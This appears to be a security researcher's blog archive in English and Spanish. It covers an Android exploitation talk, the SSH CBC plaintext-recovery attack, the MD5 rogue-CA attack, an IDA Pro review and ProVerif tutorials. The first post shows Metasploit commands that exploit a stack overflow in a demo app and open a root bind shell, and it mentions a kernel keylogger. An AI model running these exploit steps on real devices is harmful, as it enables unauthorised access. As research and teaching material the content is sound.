RootedCON: Examples + small summary
It's been almost a month since RootedCON, but I didn't have any time to spend on preparing the .tgz file with the example shellcodes, poc apps and exploits we showed during our talk. And neither did I publish any kind of summary or anything about the event...
You can also find Javi's post on the RootedCON here. It's in Spanish, don't say I didn't warn 
. You can also find the slides of our presentation here.
Examples from our presentation on Android exploitation
First things first, here is the examples we used during the presentation. As a quick summary, this is how I use the buffer overflow exploit.
First, launch the emulator and wait for it to start. Then, with adb you need to forward a couple of ports: 2000 for the vulnerable apps and whatever you like for your bind shell. Then you can launch the binary, which I had uploaded using adb push to /data/bin/myapp:
eloi@EloiLT:~/android/paper$ adb forward tcp:2000 tcp:2000 eloi@EloiLT:~/android/paper$ adb forward tcp:2222 tcp:2222 eloi@EloiLT:~/android/paper$ adb shell # /data/bin/myapp
Now, you can launch the exploit from metasploit:
msf > use exploit/linux/misc/android_stack msf exploit(android_stack) > set payload linux/armle/shell_bind_tcp payload => linux/armle/shell_bind_tcp msf exploit(android_stack) > set RPORT 2000 RPORT => 2000 msf exploit(android_stack) > set LPORT 2222 LPORT => 2222 msf exploit(android_stack) > exploit [*] Started bind handler [*] Command shell session 1 opened (127.0.0.1:55207 -> 127.0.0.1:2222) [*] Command shell session 1 closed. msf exploit(android_stack) > exploit [*] Started bind handler [*] Command shell session 2 opened (127.0.0.1:34834 -> 127.0.0.1:2222) /system/bin/id uid=0(root) gid=0(root) exit [*] Command shell session 2 closed. msf exploit(android_stack) >
The same thing applies to the cpp_challenge demo application. You just use a different exploit, but that's it. Beware that you might have to tune some addresses on your local installation, as they are hardcoded. However, I believe they should be static for every installation.
In addition to apps and the metasploit stuff, you can also find two kernel modules. One is a simple find syscall table module, and the other one is a keyboard logger. The latter only works for linux >= 2.6.28, for earlier versions you need to change it slightly.
RootedCON mini-summary
I won't spend much time on it, as it's been quite some time already and I don't feel like writing a complete summary of it.
Overall I think it was a great event. Sure there is stuff that can be improved as everywhere, but for being the first edition it was very good. From the talks I attended, in my opinion there were great talks but also a one or two I didn't really like. On our side, we are pretty happy with the way it was received and the reactions we have seen 
Besides the talks, and probably even more important, it was great to meet so many people that I'd only know through the Internet otherwise. Cheers to all of you guys, hope to see you next year at RootedCON or maybe earlier somewhere else
Understanding RHUL’s SSH attack
Last week a rumor about a 0 day exploit on OpenSSH being actively exploited arose. In some places I found links to Bugtraq's note about the OpenSSH attack published in a paper of the Royal Holloway University of London back in November 2008.
The paper, Plaintext Recovery Attacks Against SSH, describes an attack which provides knowledge of 32 bits from an arbitrary ciphertext block from an SSH connection when CBC mode is used. Personally, I didn't read the paper when it was published, I just took a quick look at it and I didn't feel like reading it completely.
However, when I saw the generated stir around this issue I thought it was time to take it again. And this post is the result: an attempt to explain how the attack described in this paper works.
SSH Binary Packet Protocol
SSH BPP is the protocol in charge of defining the binary packet structure of SSH, which supports the encrypted packets that conform an SSH connection. A data packet in an SSH connection is encoded as follows:
BPP Message
The Length field ( 4 bytes) indicates the size of the remainder of the packet. The Padding length field (1 byte) encodes the length of the final padding, which makes the packet a multiple of the block size. After this field, the message is added, and finally the padding, which has to be between 4 and 255 bytes of random data.
Two cryptographic operations are applied to this message: an encryption and a MAC. The MAC is computed over a sequence number which is never transmitted (it is kept by the two ends of the communication) concatenated with the original message depicted above. The encryption is applied to the original message only.
Therefore, when SSH recieves a packet, the first thing it has to do is decrypting the first ciphertext block to obtain the message length. Then, it waits to decrypt as many bytes as the packet indicates, in order to decrypt them and check its integrity with the MAC, which provides message authentication and protects your SSH sessions against modification while they are traveling from client to server.
SSH BPP's problem
The problem with SSH BPP described in the paper is a consequence of the combination of several factors. On one side, we have that OpenSSH returns different error messages for different situations: when the decrypted length does not pass some sanity checks (e.g. it is not a multiple of the block size) and when the computed MAC does not match with the valid one. Therefore, observing the error messages one can obtain information on what caused the interruption of the connection.
On the other hand, we have that the first block indicates how many bytes the server waits for before calculating the complete MAC. Therefore, assuming the sanity checks over the message length are passed, an attacker could inject a data block, and then inject block by block until the server says "Hey, wait, the MAC does not match!".
At that point, the attacker knows that after decrypting the injected block with the server's key, the result contains in its right-most 32 bits a value equal to the number of blocks injected in the connection.
But now the complicated part starts, because the attacker needs to link these obtained 32 bits with the 32 bits that the original packet held. If the packet was encrypted with a completely unrelated key, then knowing that decrypting it under a different key gives a certain value provides basically no information on the original message.
But here CBC mode comes to play. We already know from our previous block ciphers post that this mode performs an XOR of the previous encrypted block with the current plaintext block before encrypting it with a fixed key.
Let's assume we want to obtain data from a previous packet 
But when we inject it into the connection, assuming the previous ciphertext block is known, 
So, it will decrypt the injected block, and will XOR it with the previous block. This result will be regarded as the first block of a packet, and therefore its initial 32 bits will tell the server the packet length.
Thus, we can start injecting new blocks and observing the reaction of the SSH server. Once it returns a MAC error, this means that the initial 32 bits of 
Further, from the previous two equations we can obtain the following relation:
Where the left-most 32 bits of all values at the right side of the equation are known, and the value at the left side of the equation is what we wanted to obtain. In this way we can get to know the left-most 32 bits of the target block.
Implications of this attack
So, we know how the attack works... now it's time for asking ourselves whether we should be worried about it or not. In principle, the attack is not too complex and allows the retrieval of 32 arbitrary bites of an SSH connection with a probability of 
This means that, on average, an attacker would succeed one out of 262.000 times, forcing the client to reconnect so many times to the server. I'm pretty sure anyone would be tired after 3 consecutive attemps and would think that something is wrong .
Further, the attacker needs to perform a man in the middle to be able to inject data into the connection. In local area networks it's not a big deal, but over the Internet it gets more complicated.
And even then, an attacker would have 32 bits of data, 4 ASCII characters of your password... which I hope has some more than that 
. Therefore, in my opinion the attack does not have practical implications, although it's always good to update to a patched version and/or use a mode different than CBC.
What this attack actually does is contributing as an interesting example of how important details are in crypto applications and protocols. If the protocol would not depend on a length field which needs to be decrypted for waiting such a number of bytes, or would not use CBC mode or simply would not return additional information about errors (simply closing the connection indicating that something was wrong, regardless of what this something is), none of this would be possible.
Timing attack in Google Keyczar library
Javi mailed it to me last week, and now I came across it again while reading my feeds. Nate Lawson found and described on his blog a timing (side channel) attack in Google Keyzcar library.
Take a look at his post, it's a typical problem found in string/array comparisons, and you should take it into account when programming embedded devices and any other security-related code in general.
PD: I said very soon, didn't I? 
CA falsa, ¿se rompe Internet (o su PKI) ?
Ayer día 30 se publicó en el CCC una vulnerabilidad en la PKI de Internet, explicando cómo se había conseguido tener un certificado perfectamente válido para la mayoría de los navegadores web pero con datos falsos. Se obtuvo un certificado firmado por una autoridad de certificación (CA) de confianza en la mayoría de navegadores, al que se le pudieron cambiar los datos de identidad: la CA firmó un certificado, pero se obtuvo otro derivado para el que la misma firma sigue siendo válida y los datos se han modificado arbitrariamente.
El ataque fue publicado por un grupo de investigadores, contando entre ellos con Benne de Weger, profesor de la TU Eindhoven que me dio clase de Cryptography 2 el año pasado.
¿Cómo es posible esto?
Básicamente, se ha usado la misma técnica que para la predicción de presidentes de los EE.UU. de la que ya hablé hace un tiempo. Se ha obtenido un certificado válido para un sitio aparentemente legal en una CA de confianza, y luego se ha creado un certificado que genere colisiones en MD5.
El método exacto es, como ya dije, tener un prefijo del certificado a elección, una sección aleatoria para hacer colisionar algún resultado intermedio del hash MD5, y después una parte final común a ambos certificados. Puesto que a partir de la colisión, ambos documentos son idénticos, el hash MD5 de éstos será el mismo.
Aun así, no es tan fácil buscar la colisión, puesto que hay ciertos elementos que varían entre un certificado y otro y se deben predecir. Por ejemplo, el número de serie del certificado o el periodo de validez de los certificados que nos va a dar la CA.
Para el ataque, los investigadores probaron con diferentes CAs y trataron de predecir estos valores. Finalmente, seis CAs comerciales les dieron certificados que pudieron usar para crear colisiones.
¿Y qué significa esto?
Básicamente, alguien podría crearse su certificado firmado por una de estas entidades para usos maliciosos. Por tanto, podrían hacer un MiTM en conexions SSL sin que vieramos que hay un intruso porque el certificado usado sería aceptado por nuestro navegador sin rechistar.
Ahora bien, es esto realmente un problema taaaan grave? Para empezar, para la mayoría de los usuarios el cartel de 'el certificado no es válido' solo significa algo así como 'tienes que darle a aceptar para entrar'. En esta situación, ni certificados ni leches, no merece la pena perder el tiempo en crearte un certificado válido si los usuarios van a pasar de los mensajes y entrar igualmente.
Además, el problema no es de la PKI sino de MD5. La solución pasa por irnos a otro sistema de hash como SHA-256 o SHA-512, y usar IDs aleatorios para los certificados firmados. Todo lo que se pueda predecir puede llevar a problemas, ya lo vimos con DNS y lo vemos ahora con los certificados.
Como dicen en layer 8:
What I’m here to say is, I don’t really think this matters all that much except to security researchers. Here’s why: normal users’ trust has very little to do with certificates.
Otro sitio donde intentan tranquilizar es en securosis. Y además veo que Verisign ya ha arreglado el entuerto en su RapidSSL.
Si queréis información técnica de cómo funciona esto exactamente, aquí lo explican todo con detalle. Yo seguro que me he dejado algo... pero solo quería decir que no es taaan malo y que se veía venir después de que publicaran los anteriores ataques a MD5. Y lo mismo con SHA-1, si se sigue usando probablemente acabará en algo muy similar a esto.
Book Review: The IDA Pro Book
[DISCLAIMER: Este post va en inglés puesto que el libro también es en inglés... y a quien le interese lo entenderá]
At the beginning of last month I ordered a copy of The IDA Pro book from Chris Eagle at Amazon. Since reversing has been one of my pending subjects for a while now, and after seeing it recommended by Ilfak's himself, I decided to buy the book. I've just finished my first reading of the whole book, and before going into applying the acquired knowledge I've thought it may be useful to share my opinion with you.
The book is divided into 5 different parts. Part I, Introduction to IDA, covers the very basis about disassembling, reversing and reversing tools, and IDA Pro.
Part II, Basic IDA usage, introduces the reader into the IDA world in chapters 4 to 10. After introducing the user interface and the different IDA displays, Chir Eagle goes into disassembly navigation and manipulation, data types, cross-references and graphing, and finally the different IDA flavours apart from the normal Win32 GUI version (console mode for Windows,Linux,OS X). Chapter 8 about datatypes and data structures also provides a nice covering of C++ reversing, showing how to locate vtables and explaining inheritance relationships among others.
Part III, Advanced IDA usage, extends the IDA knowledge provided in the previous part by discussing its configuration files, library recognition methods, how to extend IDA's knowledge about library functions and, although it is not its main purpose, what can IDA do for us if we want to patch a binary.
Part IV of the book discusses the available options to extend IDA's functionality: IDC scripts, the IDA SDK, plug-in development and processor and loader modules. To be honest, I skipped a big chunk of this part because I believe it is not worth now. I'll just come back to these chapters once I start disassembling things and needing to tailor IDA's functionality to my needs.
Part V discusses how to deal with real-world problems. It starts with a chapter about the different assembly code produced by different compilers for the same source code, and then goes into a very interesting description about obfuscated code analysis (from the static analysis perspective mainly). Next, Eagle gives some hints on how to use IDA for finding vulnerabilities and provides a list of several useful real-world IDA plugins.
Last part of the book, Part VI, discusses the IDA debugger and its integration with the disassembler. This part starts with an introduction chapter, continues with a discussion on its integration with the disassembler and ends with a chapter about remote debugging with IDA.
As you have seen, this book provides a thorough coverage of IDA's capabilities, and gives real world examples. The examples, together with the IDC and plug-in code, make it a very interesting reading for those willing to learn about reversing and about the most popular disassembler these days.
If you'd like to learn how to use IDA efficiently, how to tailor it to your needs and automate your static analysis tasks, this is your book. Definitely, it is worth the money if you want to get into IDA and have a good reference book.
extX forensics, Uninformed vol 10 y Mifare Classic
Como os doy poco (pero poco poco) de comer últimamente, aquí vengo con documentos fresquitos e interesantes
Por un lado, la universidad de Nijmegen publicó no hace mucho un paper sobre sus ataques al chip Mifare Classic de NXP. Se pueden encontrar en su página dedicada a temas de RFID... yo solamente le eché un ojo rápido, aunque el paper promete.
Por otro lado, Wesley McGrew ha publicado en su blog unas transparencias sobre los sistemas de ficheros Ext2/Ext3, sus estructuras de datos y qué cosas interesantes desde el punto de vista del análisis forense pueden tener. Si no conoces cómo funcionan estos filesystems es recomendable echarle un ojo para entender cómo van.
Por último, se ha publicado un nuevo número de Uninformed Magazine. Hay 4 artículos, dos sobre reverse engineering y dos sobre exploitation techniques. La verdad es que todos suenan interesantes... en cuanto tenga tiempo que dedicarle me pondré a ellos.
Que lo disfrutéis!
El malingo presenta Reto Hacking IX
El maligno ha anunciado que esta noche, a las 20:00, empieza el Reto Hacking IX. El reto cuenta con 10 niveles, y los premios además de puntuar en la general de los retos hacking de este año, son estos (copia-pega de la entrada del maligno):
- Primero: La gloria, la fama, el honor de hacer un solucionario y responder a una entrevista para el lado del mal. Además, una cena y unos cubatas en tu ciudad (como gane quién yo me sé va a ir a Zurich la madre del topo) que quedará para la historia con fotos que no querras-que-vean-tus-descencientes.
UPDATE: El primero se llevará el Badge de la Defcon16
- Segundo: El honor de ser el primer Luser, el gran perdedor, el perdedor oficial. El título honorífico de ser el Luser del Reto Hacking IX y sí, una cena, pero las copas las pagas tú que para eso deberías haber ganado.
UPDATE: El segundo se llevará tres pegatas de la Defcon16
- Tercero: A ti te voy a regalar un libro de hacking para que sigas practicando y así alcances la gloria de ser el campeón o de ser el No Luser.
UPDATE: El tercero se llevará una pegata de la Defcon16
Yo si tengo tiempo me pondré a ratos, aunque en un plazo de una semana presento el PFC y luego vienen fiestas del pueblo, así que no estaré muy libre para ponerme...
Suerte a los que os decidáis!
EDITADO: Ayer estuve pegandole un ratillo cuando llegué a las 9, un poquitín más después de cenar y otro rato cuando volví de dar una vuelta por ahí. La cosa va de romper CAPTCHA's, pasé los niveles 1-5 pero el 6 se me resiste... no veo NADA de momento 
.
Las soluciones las estoy haciendo con PHP con libcURL, reutilizando un script que usé en la CampusParty de 2006 (creo). Te suena Javi? xD Esta vez toca hacer cosas 'parecidas' pero hay que saltarse el captcha 1000 veces en 60 minutos, con lo que automatizarlo es clave (y un coñazo la espera xD).
EDITADO 2: Pues ya hay ganador. Kachakil acaba de alzarse con la victoria y con los 10 puntos... el tío está en el top en todos los retos. Enhorabuena desde aquí!
Presentación sobre seguridad en Xbox 360
Después de un mes entero sin escribir un post, y teniendo un borrador a medias de la serie sobre verificación de protocolos desde hace eones en el que esperaba aclarar cómo funcionaba eso de los modelos y cómo probar un protocolo de forma más entendible (que ya sé que la teoría es un poco peñazo y cuesta de seguir, a mi personalmente ya me pasó al principio...), escribo éste para ver si así voy cogiendo ganas de escribir cosillas.
Ayer publicaron en pagetable.com una charla dada en Google sobre el sistema de seguridad de la Xbox 360 y cómo se hackeó. Empieza dando una visión de la seguridad en la Xbox I, para ver los problemas que tenía y las posibles soluciones. Seguidamente hace un repaso a la arquitectura de la Xbox 360 y finalmente muestra el hack realizado.
La verdad es que está interesante y da una buena idea de cómo se puede diseñar plataformas hardware de una manera bastante segura. La podéis encontrar en http://www.youtube.com/watch?v=uxjpmc8ZIxM .
Ahora tengo pendiente echarle un ojo a las charlas relacionadas de esta gente. Hay una del último CCC y me han comentado que hay alguna de la Wii, que buscaré y ya comentaré si me parecen interesantes.
Editado: Ya le eché un ojo a la presentación del CCC. Va en la misma línea, explica el mismo bug del Hypervisor mode pero además comenta un timing attack a la comparación del HMAC con memcmp en las Wii vendidas hasta finales de 2007. Y también realizan una demostración de Linux en Xbox360, y al final hablan un poquito de la Wii y de cómo se pueden leer las claves de memoria por no usar RAM cifrada.
La del CCC la podéis encontrar aquí.
Verificación de protocolos criptográfico: modelando objetivos
Seguimos con la serie de verificación de protocolos, después de los anteriores:
Ahora nos toca ver cómo completamos nuestros modelos mediante la inclusión de los objetivos del protocolo en ellos. En spi-calculus, para modelar el objetivo de confidencialidad simplemente usamos aserciones ( secrecy assertions en inglés ). Las aserciones son mecanismos que no modifican el flujo del modelo ( no influyen en la semántica operacional ) y simplemente indican que un agente espera que un determinado valor se mantenga secreto. Por ejemplo, podríamos escribir:
Pa = new s; ( secret(s) | out net {s}kab)
Pb= inp net x; decrypt x is {s}kab; secret(s)
De esta forma, se especifica que ambos agentes creen que s es un secreto.
Por otra parte, para especificar opciones de autenticidad nos valemos de aserciones de correspondencia ( correspondence assertions ). Esto simplemente significa que el agente que inicia la autenticación iniciará la aserción de correspondencia con unos parámetros, y el que la acaba la finalizará. Para que todo vaya bien, si existe una finalización debería haber existido antes una inicialización con los mismos parámetros.
Espero que se vea mejor con este ejemplo tomado de los apuntes de Cristian Haacks como una narración informal:
A begins! Send (A, m, B)
A ? S : A, {B, m}kas
S ? B : {A, m}kbs
B ends Send (A, m, B)
Así pues, decimos que es seguro si no existe la posibilidad de que se ejecute el B ends Send(A,m,B) sin que antes e haya ejecutado un A begins! Send(A,m,B). Para acabar, el ! indica que esta aserción se repite indefinidas veces, es decir que un evento begin puede corresponderse con un end repetidas veces. Un ejemplo de esto sería una firma digital, puesto que la firma se puede comprobar muchas veces y siempre será válida. Sin embargo, a veces interesa que solo se de una vez, para garantizar la frescura de la información y evitar replay attacks.
Para ello, se usan eventos inyectivos, que se modelan sin el ! y simplemente un begin puede corresponderse con un end, y nunca más. Para conseguir esto, los protocolos hacen uso de números de secuencia, nonces (number used once), timestamps o similares.
Realmente hay un poco más de chica por aquí detrás con cómo se propagan estos eventos por los canales y demás, pero vamos a dejarlo en que se considera seguro si esto ocurre, ya que en caso contrario significaría que el atacante puede forzar a B a ejecutar un end Send(A,m,B) sin que realmente A haya mandado el mensaje B, lo cual viola la autenticación.
También hay un poco más de teoría respecto a Spi-calculus y procesos seguros respecto a confidencialidad, que especifica qué procesos se pueden denominar así. Intuitivamente, son aquellos procesos en los que no existe ninguna manera de llegar a algo que escriba un secreto en un canal público mediante la semántica operacional de spi-calculus.
Ahora bien, después de este rollo, cómo nos lo montamos con ProVerif para especificar estas propiedades? Pues es bastante sencillo:
Las metas de confidencialidad, simplemente se especifican en la zona de declaraciones con una query tal que así:
query attacker: s.
Donde s es el valor que queremos que sea secreto. El problema es que ProVerif usa macros y los nombres son globales, así que si creamos dos nombres iguales en distintos procesos y hacemos una query, irá para los dos. Además, si usamos variables para las queries, siempre dará que el atacante puede obtenerlo mientras que no es necesariamente cierto.
Para este caso, lo que podemos hacer es generar un flag único y pedir a ProVerif que nos diga si el flag puede obtenerse. Por ejemplo, imaginemos la variable M que ha sido obtenida mediante tras leer de la red. Si queremos que sea secreta, deberíamos hacer algo como:
query attacker: M.
process (*otro_proceso*)|(in(net,M))
Pero entonces ProVerif nos dirá que el atacante puede obtener M, ya que es una variable. Lo que haríamos sería:
query attacker:flagM.
process (*otro_proceso*)|(in(net,M);out(M,flagM);)
En este caso, si el atacante puede conocer M podrá leer del canal M, con lo que podrá obtener el flag y la query fallará. Si no, no podrá obtener el flag y no fallará.
Por otra parte, las aserciones de correspondencia se transforman en eventos, y podemos especificar que un evento debe estar precedido por otro. Un ejemplo sacado de mis códigos de ProVerif sería:
query evinj : endSendToInit(x,y,z) ==> evinj : beginSendToInit(x,y,z).
query evinj : endSendToResp(x,y,z) ==> evinj : beginSendToResp(x,y,z).
query evinj : endAckToInit(x,y,z) ==> evinj : beginAckToInit(x,y,z).
query evinj : endAckToResp(x,y,z) ==> evinj : beginAckToResp(x,y,z).
Aquí estamos diciendo que el evento endSendToInit(x,y,z) debe estar precedido por el evento beginSendToInit(x,y,z), y lo mismo para el resto de eventos. La palabra clave evinj indica que se trata de una correspondencia inyectiva, es decir uno a uno. Si usaramos ev en su lugar se trataría de correspondencia no inyectiva, muchos a uno.
Por último, comentar que es posible especificar en ProVerif la propiedad de no interferencia ( non-interference ), que significa que un atacante no será capaz de distinguir una ejecución del protocolo de otra cambiando los valores de las variables de las que deseamos preservar dicha propiedad.
Dicho más sencillo: que no se puede obtener ninguna información de las variables, ni siquiera si son iguales o distintas de una ejecución a la otra. Por ejemplo, esto no cumpliría dicha propiedad:
P(x) = out(net,{x}k);
Puesto que si {x1}k es igual a {x2}k, entonces x1 es igual a x2. Para resolverlo usaríamos cifrado no determinístico, que simplemente añade una parte aleatoria al mensaje. Algo así:
P(x) = new n; out(net,{(x,n)}k);
De esta forma, como n es aleatorio y presumiblemente diferente cada vez, que el texto cifrado sea igual no implica que el contenido lo sea.
Para especificar esta propiedad, en ProVerif escribiremos por ejemplo:
noninterf x1,x2.
Y luego modelaremos dos procesos en paralelo, uno con x1 y otro con x2. Tras ejecutar ProVerif (que ya veremos cómo se hace en otro post) nos dirá si se puede distinguir entre ellos o no.
Esto es todo de momento... sigo dandoos el coñazo con teoría que puede que no se entienda mucho , pero en el próximo post explicaré cómo ejecutar ProVerif y un pequeño ejemplo con varias cosas juntas, y después en el siguiente analizaremos el modelo de TLS que puse hace un tiempo.
Si alguien está leyendo esto, que comente si se entiende más o menos o algo ( Y quien lo esté leyendo es todo un campeón xD)
Verificación de protocolos criptográficos: Modelado (II)
Continuamos en este post con las técnicas de modelado de protocolos criptográficos. Ahora sí vamos a adentrarnos en el mundo de ProVerif viendo la sintaxis que usa para definir los protocolos.
Un archivo fuente de ProVerif puede estar en spi-calculus o mediante cláusulas de Horn. Nosotros solo vamos a ver spi-calculus entre otras cosas porque yo de cláusulas de Horn ni idea 
. Los archivos fuente .pi tienen varias partes que vamos a ver por separado: